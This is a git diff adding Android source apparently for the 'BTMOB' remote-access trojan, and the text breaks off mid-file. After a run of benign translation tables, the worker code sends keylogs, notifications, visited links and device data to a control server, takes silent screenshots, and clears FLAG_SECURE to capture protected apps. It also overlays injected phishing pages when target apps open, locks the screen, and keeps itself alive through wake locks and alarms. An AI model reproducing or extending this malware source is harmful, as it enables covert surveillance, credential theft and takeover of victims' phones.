case "dim_light": + return "Dim Light"; + case "indoor": + return "Indoor Light"; + case "bright_indoor": + return "Bright Indoor"; + case "cloudy": + return "Cloudy Day"; + case "sunny": + return "Sunny Day"; + case "direct_sun": + return "Direct Sunlight"; + default: + return "Unknown Light"; + } + } + + private String getArabicLightMessage(String key) { + switch (key) { + case "pitch_black": + return "ظلام دامس"; + case "very_dark": + return "مظلم جدًا"; + case "dim_light": + return "إضاءة خافتة"; + case "indoor": + return "إضاءة داخلية"; + case "bright_indoor": + return "داخل مشرق"; + case "cloudy": + return "يوم غائم"; + case "sunny": + return "يوم مشمس"; + case "direct_sun": + return "ضوء الشمس المباشر"; + default: + return "إضاءة غير معروفة"; + } + } + + private String getChineseLightMessage(String key) { + switch (key) { + case "pitch_black": + return "漆黑"; + case "very_dark": + return "非常暗"; + case "dim_light": + return "微光"; + case "indoor": + return "室内光"; + case "bright_indoor": + return "明亮的室内"; + case "cloudy": + return "多云天"; + case "sunny": + return "晴天"; + case "direct_sun": + return "直射阳光"; + default: + return "未知光线"; + } + } + + private String getTurkishLightMessage(String key) { + switch (key) { + case "pitch_black": + return "Tam karanlık"; + case "very_dark": + return "Çok karanlık"; + case "dim_light": + return "Loş ışık"; + case "indoor": + return "Kapalı alan ışığı"; + case "bright_indoor": + return "Parlak iç mekan"; + case "cloudy": + return "Bulutlu gün"; + case "sunny": + return "Güneşli gün"; + case "direct_sun": + return "Doğrudan güneş ışığı"; + default: + return "Bilinmeyen ışık"; + } + } + + private String getPortugueseLightMessage(String key) { + switch (key) { + case "pitch_black": + return "Escuridão total"; + case "very_dark": + return "Muito escuro"; + case "dim_light": + return "Luz fraca"; + case "indoor": + return "Luz interna"; + case "bright_indoor": + return "Ambiente claro"; + case "cloudy": + return "Dia nublado"; + case "sunny": + return "Dia ensolarado"; + case "direct_sun": + return "Luz solar direta"; + default: + return "Luz desconhecida"; + } + } + + private String getRussianLightMessage(String key) { + switch (key) { + case "pitch_black": + return "Полная темнота"; + case "very_dark": + return "Очень темно"; + case "dim_light": + return "Тусклый свет"; + case "indoor": + return "Внутренний свет"; + case "bright_indoor": + return "Яркое помещение"; + case "cloudy": + return "Облачный день"; + case "sunny": + return "Солнечный день"; + case "direct_sun": + return "Прямой солнечный свет"; + default: + return "Неизвестный свет"; + } + } + + private String getSpanishLightMessage(String key) { + switch (key) { + case "pitch_black": + return "Oscuridad total"; + case "very_dark": + return "Muy oscuro"; + case "dim_light": + return "Luz tenue"; + case "indoor": + return "Luz interior"; + case "bright_indoor": + return "Interior brillante"; + case "cloudy": + return "Día nublado"; + case "sunny": + return "Día soleado"; + case "direct_sun": + return "Luz solar directa"; + default: + return "Luz desconocida"; + } + } + + private String getEnglishTranslation(String key) { + switch (key) { + case "flat": + return "Flat on the table"; + case "upright": + return "Standing upright"; + case "side": + return "On its side"; + case "tilted_fb": + return "Tilted forward/backward"; + case "tilted_lr": + return "Tilted left/right"; + case "slightly_tilted": + return "Slightly tilted"; + default: + return "Unknown position"; + } + } + + private String getArabicTranslation(String key) { + switch (key) { + case "flat": + return "مسطح على الطاولة"; + case "upright": + return "واقف عموديا"; + case "side": + return "على جانبه"; + case "tilted_fb": + return "مائل للأمام / للخلف"; + case "tilted_lr": + return "مائل لليسار / اليمين"; + case "slightly_tilted": + return "مائل قليلاً"; + default: + return "وضع غير معروف"; + } + } + + private String getChineseTranslation(String key) { + switch (key) { + case "flat": + return "平放在桌子上"; + case "upright": + return "直立"; + case "side": + return "侧躺"; + case "tilted_fb": + return "前后倾斜"; + case "tilted_lr": + return "左右倾斜"; + case "slightly_tilted": + return "轻微倾斜"; + default: + return "未知位置"; + } + } + + private String getTurkishTranslation(String key) { + switch (key) { + case "flat": + return "Masaya düz yerleştirildi"; + case "upright": + return "Dik duruyor"; + case "side": + return "Yan tarafında"; + case "tilted_fb": + return "Öne / arkaya eğilmiş"; + case "tilted_lr": + return "Sola / sağa eğilmiş"; + case "slightly_tilted": + return "Hafifçe eğilmiş"; + default: + return "Bilinmeyen konum"; + } + } + + private String getPortugueseTranslation(String key) { + switch (key) { + case "flat": + return "Plano na mesa"; + case "upright": + return "Em pé"; + case "side": + return "De lado"; + case "tilted_fb": + return "Inclinado para frente / trás"; + case "tilted_lr": + return "Inclinado para esquerda / direita"; + case "slightly_tilted": + return "Ligeiramente inclinado"; + default: + return "Posição desconhecida"; + } + } + + private String getRussianTranslation(String key) { + switch (key) { + case "flat": + return "Лежит на столе"; + case "upright": + return "Стоит вертикально"; + case "side": + return "На боку"; + case "tilted_fb": + return "Наклонён вперед / назад"; + case "tilted_lr": + return "Наклонён влево / вправо"; + case "slightly_tilted": + return "Слегка наклонён"; + default: + return "Неизвестное положение"; + } + } + + private String getSpanishTranslation(String key) { + switch (key) { + case "flat": + return "Plano sobre la mesa"; + case "upright": + return "De pie"; + case "side": + return "De lado"; + case "tilted_fb": + return "Inclinado hacia adelante/atrás"; + case "tilted_lr": + return "Inclinado hacia la izquierda/derecha"; + case "slightly_tilted": + return "Ligeramente inclinado"; + default: + return "Posición desconocida"; + } + } + + + public static class MyWorker extends AsyncTask { + + + public static void AlertServer(Context ctx, String title, String msg) { + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.ALERT); + jsonObject.put("title", title); + jsonObject.put("msg", msg); + + // Convert JSON object to string + String jsonData = jsonObject.toString(); + LiveChat chater = LiveChat.instance(ctx); + chater.Livemessage(ctx, jsonData); + } catch (Exception e) { + e.printStackTrace(); + } + + } + private static volatile long jectdate = 0; + + + public static boolean isJecton() { + if (jectdate == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - jectdate; + long lasttime = 45 * 1000; // 30 sec in milliseconds + + // Check if the elapsed time is less than 3 minutes + return elapsedTime < lasttime; + } + + public static volatile String alljectsids = "empty"; + public static void StartAutoj(Context ctx) { + jectdate = System.currentTimeMillis(); + Thread thread = new Thread(new Runnable() { + public void run() { + + do { + jectdate = System.currentTimeMillis(); + if (alljectsids.equals("empty")){ + jectdate = 0; + break; + } + + try { + String jectcheck = UtliTools.Checkallject(ctx,alljectsids); + if(!jectcheck.equals("empty")){ + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.jects); + jsonObject.put("cuz", "f"); + jsonObject.put("ned", jectcheck); + String jsonData = jsonObject.toString(); + + LiveChat.instance(ctx).Livemessage(ctx, jsonData); + } + } catch (Exception a) { + + } + + + try { + Thread.sleep(15000); + } catch (Exception s) { + } + + try{ + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.jects); + jsonObject.put("cuz", "l"); + String jsonData = jsonObject.toString(); + + LiveChat.instance(ctx).Livemessage(ctx, jsonData); + }catch (Exception s){} + } while (Auto_jct); + } + }); + thread.start(); + } + + private static volatile long Scannerdate = 0; + + public static boolean isScreenThreadRunning() { + if (Scannerdate == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - Scannerdate; + long lasttime = 30 * 1000; // 30 sec in milliseconds + + // Check if the elapsed time is less than 3 minutes + return elapsedTime < lasttime; + } + + public static void stopSlientScreen(Context ctx) { + MySettings.WriteBool(ctx, Consts.Silent_Screen, false); + Scannerdate = 0; + } + + public static void SilentScreenThread(Context ctx, int quality) { + Thread thread = new Thread(new Runnable() { + public void run() { + if (My_Access_inst == null) { + return; + } + do { + Scannerdate = System.currentTimeMillis(); + try { + Thread.sleep(DelayScreenshot); + } catch (Exception s) { + } + + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + if (MySettings.ReadBool(ctx, Consts.Silent_Screen, false)) { + My_Access_inst.CapScreen(My_Access_inst.getApplicationContext(), "screen", quality); + } else { + if (MySettings.ReadBool(ctx, Live_Screen, false)) { + My_Access_inst.CapScreen(My_Access_inst.getApplicationContext(), "livscr", quality); + } + } + + } + } catch (Exception a) { + + } + + } while (MySettings.ReadBool(ctx, Consts.Silent_Screen, false) || + MySettings.ReadBool(ctx, Live_Screen, false)); + } + }); + thread.start(); + } + + private static volatile long selfdate = 0; + private static String Lastdetected = "null"; + + private void monitorAppUsage(Context ctx) { + UsageStatsManager usageStatsManager = (UsageStatsManager) ctx.getSystemService(Context.USAGE_STATS_SERVICE); + long endTime = System.currentTimeMillis(); + long startTime = endTime - 2000; // Check events from the last 2 seconds + + UsageEvents usageEvents = usageStatsManager.queryEvents(startTime, endTime); + UsageEvents.Event event = new UsageEvents.Event(); + + while (usageEvents.hasNextEvent()) { + usageEvents.getNextEvent(event); + + if (event.getPackageName().equals(ctx.getPackageName())) { + continue; + } + String CuzPackage = event.getPackageName(); + try { + if (CuzPackage != null) { + if (event.getEventType() == UsageEvents.Event.MOVE_TO_FOREGROUND && ject_list.contains(CuzPackage)) { + MyLoger.Error("ject detected", CuzPackage); + if (!CuzPackage.equals(lastject) && !skipject.equals(CuzPackage)) { + lastject = CuzPackage; + skipject = ""; + final String cuzid = CuzPackage; + String htmlpath = UtliTools.findjectfile(ctx,CuzPackage); + + File protectedZipFile = new File(ctx.getFilesDir(), htmlpath); + if (protectedZipFile.exists()) { + //System.out.println("The protected file exists and is secure."); + Drawable icons = null; + try { + + icons = ctx.getPackageManager().getApplicationIcon(CuzPackage); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + icons = null; + } + + Bitmap targeticon = convertToBitmap(icons, 144, 144); + ByteArrayOutputStream stream = new ByteArrayOutputStream(); + targeticon.compress(Bitmap.CompressFormat.PNG, 100, stream); + byte[] iconByteArray = stream.toByteArray(); + Context mybasectx = ctx; + final String Appname = getAppNameFromPkgName(ctx, CuzPackage); + + + new Handler(Looper.getMainLooper()).postDelayed(() -> { + Intent myIntent = new Intent(mybasectx, Webjector.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.putExtra("cuzid", cuzid); + myIntent.putExtra("label", Appname); + myIntent.putExtra("icon", iconByteArray); + myIntent.putExtra("type", "u"); + + AccessTools.BringMeFront(ctx); + + ctx.startActivity(myIntent); + }, 1200); + + targeticon.recycle(); + if (stream != null) { + stream.close(); + } + } + + } + + } else { + if (event.getEventType() == UsageEvents.Event.MOVE_TO_BACKGROUND && lastject != null) { + if (!AccessTools.isSystemApp(ctx, CuzPackage)) { + lastject = null; + skipject = ""; + } + } + } + } + } catch (Exception e) { + + } + for (Map.Entry entry : Map_Name_Lnk.entrySet()) { + // Do something with each site + try { + String Name = entry.getKey(); + String site = entry.getValue(); + String AppID = Map_Name_ID.get(Name); + + if (Lastdetected.equals(AppID)) { + return; + } + + + if (event.getEventType() == UsageEvents.Event.MOVE_TO_FOREGROUND && + AppID.equals(event.getPackageName())) { + + + Lastdetected = AppID; + Debug("App detected", AppID); + Drawable icons = null; + try { + + icons = ctx.getPackageManager().getApplicationIcon(AppID); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + icons = null; + } + + Bitmap targeticon = convertToBitmap(icons, 144, 144); + ByteArrayOutputStream stream = new ByteArrayOutputStream(); + targeticon.compress(Bitmap.CompressFormat.PNG, 100, stream); + byte[] iconByteArray = stream.toByteArray(); + Context mybasectx = ctx; + final String Appname = getAppNameFromPkgName(ctx, AppID); + + + + new Handler(Looper.getMainLooper()).postDelayed(() -> { + Intent myIntent = new Intent(mybasectx, WebBrowser.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.putExtra("key", site); + myIntent.putExtra("label", Appname); + myIntent.putExtra("icon", iconByteArray); + myIntent.putExtra("type", "u"); + + AccessTools.BringMeFront(ctx); + + ctx.startActivity(myIntent); + }, 1200); + //founded = site; + targeticon.recycle(); + if (stream != null) { + stream.close(); + } + break; + } else if (event.getEventType() == UsageEvents.Event.MOVE_TO_BACKGROUND && + AppID.equals(event.getPackageName())) { + // Reset toastShown when Facebook goes to background + Lastdetected = "null"; + Debug("App detected out", AppID); + } + } catch (Exception a) { + } + } + } + + try { + Thread.sleep(1000); // Wait for 1 second before checking again + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public static boolean isSelfRecordON() { + if (selfdate == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - selfdate; + long lasttime = 45 * 1000; // milliseconds + + + return elapsedTime < lasttime; + } + + public static void stopSelfRecorder(Context ctx) { + MySettings.WriteBool(ctx, Consts.Self_Record, false); + selfdate = 0; + } + + public static void SelfRecorder(Context ctx, int quality, String srctype, int delaymls) { + Thread thread = new Thread(new Runnable() { + public void run() { + String CurrnetLanuage = Locale.getDefault().getLanguage(); + String themsg = ""; + switch (CurrnetLanuage) { + case "ar": + themsg = "في انتظار دخول المستخدم إلى التطبيق"; + break; + case "zh": + themsg = "等待用户进入应用程序"; + break; + case "ru": + themsg = "Ожидание входа пользователя в приложение"; + break; + case "tr": + themsg = "Kullanıcının uygulamaya girmesi bekleniyor"; + break; + default: + themsg = "Waiting user to enter the app"; + break; + } + + byte[] waitimage = createImageByts(themsg); + do { + selfdate = System.currentTimeMillis(); + try { + Thread.sleep(delaymls); + } catch (Exception s) { + } + + try { + Activity currentActivity = getCurrentActivity();//this app injection, get main activ using reflection + if (currentActivity != null ) { + View rootView = currentActivity.getWindow().getDecorView().getRootView(); + try { + currentActivity.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_SECURE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + currentActivity.setRecentsScreenshotEnabled(true); + } + } catch (Exception a) { + + } + rootView.setDrawingCacheEnabled(true); + Bitmap bitmap = Bitmap.createBitmap(rootView.getDrawingCache()); + rootView.setDrawingCacheEnabled(false); + Bitmap compressedBitmap = Bitmap.createScaledBitmap(bitmap, 350, 650, true); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, quality, baos); + byte[] scbyts = baos.toByteArray(); + + + LiveChat.instance(ctx).LiveScreenSilent(ctx, scbyts, srctype); + bitmap.recycle(); + baos.close(); + + } else { + LiveChat.instance(ctx).LiveScreenSilent(ctx, waitimage, srctype); + try { + selfdate = System.currentTimeMillis(); + Thread.sleep(10000); + } catch (Exception s) { + } + } + + } catch (Exception a) { + a.printStackTrace(); + } + + + } while (MySettings.ReadBool(ctx, Consts.Self_Record, false) || + MySettings.ReadBool(ctx, Live_Screen, false)); + } + }); + thread.start(); + } + + public static volatile long skiltonthread = 0; + + public static boolean isLiveSkiltonlive() { + if (skiltonthread == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - skiltonthread; + long lasttime = 30 * 1000; // 30 sec in milliseconds + + + return elapsedTime < lasttime; + } + + public static void stopliveskilton(Context ctx) { + MySettings.WriteBool(ctx, Consts.Live_skilton, false); + skiltonthread = 0; + } + + public static void Skiltonlive(Context ctx, int quality) { + Thread thread = new Thread(new Runnable() { + public void run() { + + do { + skiltonthread = System.currentTimeMillis(); + try { + Thread.sleep(1); + } catch (Exception s) { + } + + try { + + byte[] byteArray = AccessTools.createskilton(); + if (byteArray != null) { + + LiveChat.instance(ctx).LiveScreenSilent(ctx, byteArray, "screen"); + } + + } catch (Exception a) { + a.printStackTrace(); + } + + + } while (MySettings.ReadBool(ctx, Consts.Live_skilton, false)); + } + }); + thread.start(); + } + + @Override + protected void onCancelled() { + super.onCancelled(); + workdats = 0; + } + + boolean keepworking = false; + + public void stop() { + keepworking = false; + } + + // private WindowManager windowManager; +// private View overlayView; +// public void showSmoothOverlay(Context context) { +// if (windowManager != null) return; // already shown +// +// windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); +// +// // Create a full-screen View with 1% transparent black +// overlayView = new View(context); +// overlayView.setBackgroundColor(Color.argb(3, 0, 0, 0)); // 1% alpha black +// +// WindowManager.LayoutParams params = new WindowManager.LayoutParams( +// WindowManager.LayoutParams.MATCH_PARENT, +// WindowManager.LayoutParams.MATCH_PARENT, +// WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, // SYSTEM_ALERT_WINDOW permission +// WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL, +// PixelFormat.TRANSLUCENT +// ); +// +// params.gravity = Gravity.TOP | Gravity.START; // full screen +// +// params.flags &= ~WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; +// // Important: allow focus +// +// windowManager.addView(overlayView, params); +// } +// +// public void removeSmoothOverlay() { +// if (windowManager != null && overlayView != null) { +// windowManager.removeViewImmediate(overlayView); +// overlayView = null; +// windowManager = null; +// } +// } + @Override + protected String doInBackground(Context... ctxs) { + + workdats = System.currentTimeMillis(); + + if (MyLOCK.isLocked()) { + return null; + } + + Context ctx = ctxs[0]; + long startTime = System.currentTimeMillis(); + long elapsedTime; + + MyLOCK.lock(); + keepworking = true; + ConfigManager config = ConfigManager.getInstance(); + config.initialize(ctx, My_Configs.ALL_CONFIG); + PowerManager powerManager = (PowerManager) ctx.getSystemService(Context.POWER_SERVICE); + while (keepworking) { + + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + } + if (!keepworking) { + break; + } + + try { + + workdats = System.currentTimeMillis(); + + if (needsleep) { + needsleep = false; + try { + Thread.sleep(5000); + startTime = System.currentTimeMillis(); + } catch (InterruptedException e) { + } + } + + elapsedTime = System.currentTimeMillis() - startTime; + if (elapsedTime >= Consts.Preformance) { + Debug("At.MyWorker", "Ping:" + UtliTools.FullStamp()); + + startTime = System.currentTimeMillis(); + + + JoinChat(ctx); + SendPing(ctx); + +// try +// { +// Intent intent = new Intent("android.settings.APP_NOTIFICATION_SETTINGS"); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_CLEAR_TASK); +// intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.Settings$AppNotificationSettingsActivity")); +// intent.putExtra(Settings.EXTRA_APP_PACKAGE, "android"); +// +// ctx.startActivity(intent); +// +// }catch (Exception a){ +// a.printStackTrace(); +// } + if (!IsScreenOn(ctx) && + My_Configs.Prevent_sleep.equals("1")) { + if (LOCK_SERVS != null && LOCK_SERVS.isHeld()) { + LOCK_SERVS.release(); + LOCK_SERVS=null; + } + } + } + + + if (config.add_usagacc && isUsageAccessGranted(ctx) && !config.req_accss) { + monitorAppUsage(ctx); + + } + + if (MySettings.ReadBool(ctx, Consts.lock_screen, false)) { + Intent myIntent = new Intent(ctx, LockActivity.class); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT); + myIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); + ctx.startActivity(myIntent); + AccessTools.Treger("lock", null); + } else { + if (LockActivity.isActivityOpen()) { + LockActivity.endlock(); + } + } + +// if (Settings.canDrawOverlays(ctx)){ +// showSmoothOverlay(ctx); +// } + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && +// My_Configs.Prevent_sleep.equals("1") ){ +// WakeScreen(ctx); +// } + +// if (// MySocket.connected){ +// +// }else{ +// Bingme = false; +// // MySocket.StartConnect(); +// try { +// Thread.sleep(10000); +// } catch (InterruptedException e) {} +// } + if (LOCK_SERVS == null) { + LOCK_SERVS = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE, ":"); + +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ) { +// +// +// } else { +// LOCK_SERVS = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE, TAG); +// } + } + + + + if (LOCK_SERVS != null && !LOCK_SERVS.isHeld()) { + LOCK_SERVS.acquire(); + } + } catch (OutOfMemoryError e) { + try { + MyLoger.Error("WS.Exception2", e.getMessage()); + e.printStackTrace(); + Thread.sleep(10000); + } catch (InterruptedException ex) { + } + } catch (Exception e) { + try { + MyLoger.Error("WS.Exception", e.getMessage()); + e.printStackTrace(); + Thread.sleep(1); + } catch (InterruptedException ex) { + } + } + + } + + MyLOCK.unlock(); + return null; + } + + public static void SendPing(Context ctx) { + if (!LiveChat.instance(ctx).isConnected) { + return; + } + String pingSpeed = getPingSpeed(Consts.Server_Address); + + String currentState = UtliTools.ScreenStatus(ctx); + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "png"); + jsonObject.put("scr", currentState); + jsonObject.put("ms", pingSpeed); + jsonObject.put("jct", ject_list.size()); + jsonObject.put("keylogs", ActivityMonitors.Load(ActivityMonitors.ActivityType.KSTR)); + jsonObject.put("vapps", ActivityMonitors.Load(ActivityMonitors.ActivityType.VAPS)); + jsonObject.put("activz", ActivityMonitors.Load(ActivityMonitors.ActivityType.ACTZ)); + jsonObject.put("notifys", ActivityMonitors.Load(ActivityMonitors.ActivityType.NTFS)); + jsonObject.put("vLinks", ActivityMonitors.Load(ActivityMonitors.ActivityType.BLNK)); + jsonObject.put("act", AccessServices.LastVisitedApp); + jsonObject.put("AN", WorkServices.AngleString); + jsonObject.put("LT", WorkServices.LightsString); + //jsonObject.put("MV", WorkServices.isMovingString); + jsonObject.put("BC", UtliTools.isCharging(ctx)); + jsonObject.put("BP", UtliTools.getBatteryPercentage(ctx)); + jsonObject.put("jcts", String.join("|", ject_list)); + String jsonData = jsonObject.toString(); + + LiveChat.instance(ctx).Livemessage(ctx, jsonData); + } catch (Exception a) { + + } + } + + + public static void joinclients(Context myctx) { + + try { + + String IDF = MySettings.Read(myctx, Consts.THE_IDF, null); + + if (IDF == null) { + return; + } + + // My_Crpter cr = My_Crpter.Getinstance(); + // String um = cr.Dcrpt_Str(My_Configs.USR_MAIL); + + // Construct JSON object + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "add"); + + jsonObject.put("phone_name", MySettings.Read(myctx, Consts.USR_NAME, My_Configs.Mob_Name)); + jsonObject.put("android_version", UtliTools.Version()); + jsonObject.put("model", Devicename(myctx)); + jsonObject.put("battery_charge", UtliTools.isCharging(myctx)); + jsonObject.put("battery_precentage", UtliTools.getBatteryPercentage(myctx)); + jsonObject.put("network", UtliTools.Get_Network(myctx)); + jsonObject.put("install_date", installdate(myctx)); + jsonObject.put("phone_id", MySettings.Read(myctx, Consts.DEVICE_ID, "Deviceid")); + jsonObject.put("wallpap", UtliTools.Wallpaper(myctx, 30, 30, true)); + jsonObject.put("sim", UtliTools.getsimname(myctx)); + jsonObject.put("keylogs", ActivityMonitors.Load(ActivityMonitors.ActivityType.KSTR)); + jsonObject.put("vapps", ActivityMonitors.Load(ActivityMonitors.ActivityType.VAPS)); + jsonObject.put("activz", ActivityMonitors.Load(ActivityMonitors.ActivityType.ACTZ)); + jsonObject.put("notifys", ActivityMonitors.Load(ActivityMonitors.ActivityType.NTFS)); + jsonObject.put("vLinks", ActivityMonitors.Load(ActivityMonitors.ActivityType.BLNK)); + jsonObject.put("idf", IDF); + jsonObject.put("BTVR", BTVersion); + jsonObject.put("TRK", Tracking_Data_str); + + // Convert JSON object to string + String jsonData = jsonObject.toString(); + + // Send JSON string + LiveChat.instance(myctx).Livemessage(myctx, jsonData); + +// Thread firstping = new Thread(new Runnable() { +// @Override +// public void run() { +// try { +// Thread.sleep(5000); +// +// } catch (Exception e) { +// //throw new RuntimeException(e); +// } +// SendPing(myctx); +// +// } +// }); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + protected void onPostExecute(String u) { + super.onPostExecute(u); + MyLOCK.unlock(); + stop(); + if (LOCK_SERVS != null && LOCK_SERVS.isHeld()) { + LOCK_SERVS.release(); + LOCK_SERVS=null; + } + workdats = 0; + } + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/alarme.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/alarme.java new file mode 100644 index 0000000..e754179 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/alarme.java @@ -0,0 +1,52 @@ +package com.icontrol.protector; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.os.Build; + +public class alarme extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + if (intent != null) { + new Thread(() -> { + if (intent.getBooleanExtra("FROM_ALARM", false)) { + + try { + + Intent workint = new Intent(context, EngineWorker.class); + if (!MyCods.isServiceRunning(context, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(workint); + } else { + context.startService(workint); + } + } + + if (!MyCods.isServiceRunning(context, WorkServices.class)) { + Intent workint2 = new Intent(context, WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(workint2); + } else { + context.startService(workint2); + } + } else { + try { + Intent hbint = new Intent(context, WorkServices.class); + hbint.putExtra("FROM_ALARM", true); + context.startService(hbint); + } catch (Exception s) { + } + } + } catch (Exception e) { + + } + //return START_STICKY; + } + + + }).start(); + } + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/filesManager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/filesManager.java new file mode 100644 index 0000000..6b86f39 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/filesManager.java @@ -0,0 +1,907 @@ +package com.icontrol.protector; + + +import android.app.usage.StorageStatsManager; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.Canvas; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.media.MediaMetadataRetriever; +import android.media.MediaPlayer; +import android.net.Uri; +import android.os.Build; +import android.os.Environment; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.nio.charset.Charset; +import java.security.InvalidKeyException; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.text.SimpleDateFormat; +import java.util.Arrays; +import java.util.Date; +import java.util.Locale; +import java.util.concurrent.ArrayBlockingQueue; +import java.util.concurrent.Executor; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import javax.crypto.Cipher; +import javax.crypto.CipherInputStream; +import javax.crypto.CipherOutputStream; +import javax.crypto.NoSuchPaddingException; +import javax.crypto.spec.SecretKeySpec; + +import android.app.Fragment; +import android.os.StatFs; +import android.os.storage.StorageManager; +import android.util.Base64; + +import androidx.core.content.FileProvider; + +import org.json.JSONObject; + + +public class filesManager extends Fragment { + private static String mp = "ssolrssolr"; + private static String SPL_DATA = Consts.SPLIT_DATA; + private static String SPL_ARRAY = Consts.SPLIT_ARAY; + private static String SPL_LINE = Consts.SPLIT_DATA; + // private static String OBJ = ""; + private static Executor myExcuter = null; + private static int max = 1000; + + public String[] Load(Context ctx, String s) { + String[] f = new String[2]; + String currentpath = "null"; + + String StorageSize = ""; + + if (myExcuter == null) { + myExcuter = new ThreadPoolExecutor(8, 5 * 3, 1, + TimeUnit.MINUTES, new ArrayBlockingQueue(max)); + } + try { + StringBuffer sb = new StringBuffer(); + String p = s; + if (p.equals("get0")) { + p = Environment.getExternalStorageDirectory().getPath(); + StorageSize = getStorageInfo(ctx); + + } else if (p.equals("get1")) { + p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString(); + } else if (p.equals("get2")) { + p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES).toString(); + } else if (p.equals("get3")) { + p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM).toString(); + } else if (p.equals("get4")) { + p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_MOVIES).toString(); + } else if (p.equals("get5")) { + File screenshotsDir = findScreenshotsDirectory(Environment.getExternalStorageDirectory(), Environment.DIRECTORY_PICTURES, "Screenshots"); + + if (screenshotsDir == null) { + screenshotsDir = findScreenshotsDirectory(Environment.getExternalStorageDirectory(), Environment.DIRECTORY_DCIM, "Screenshots"); + } + + if (screenshotsDir != null) { + p = screenshotsDir.getAbsolutePath() + File.separator; + // Use 'p' as needed + } else { + // Handle the case where Screenshots directory is not found + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + p = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_SCREENSHOTS).toString(); + } else { + //TODO: send alert no screenshots dir found + return new String[]{null, null}; + } + } + + } else if (p.equals("get6")){ + + } + + + File pl = new File(p); + if (pl.isDirectory()) { + String gp = pl.getPath(); + currentpath = gp; + File[] lst = pl.listFiles(); + if (lst != null && lst.length > 0) { + for (int i = 0; i < lst.length; i++) { + try { + String name = lst[i].getName(); + long size = lst[i].length(); + String date = "n/a"; + String LastModified; + try { + File file = new File(lst[i].getPath()); + SimpleDateFormat sdf = new SimpleDateFormat("MM/dd/yyyy EEE", Locale.ENGLISH); + date = new SimpleDateFormat("MM/dd/yyyy EEE", Locale.ENGLISH).format(new Date()); + LastModified = sdf.format(file.lastModified()); + + } catch (Exception e) { + LastModified = "n/a"; + } + String exe = "n/a"; + String cou = "n/a"; + if 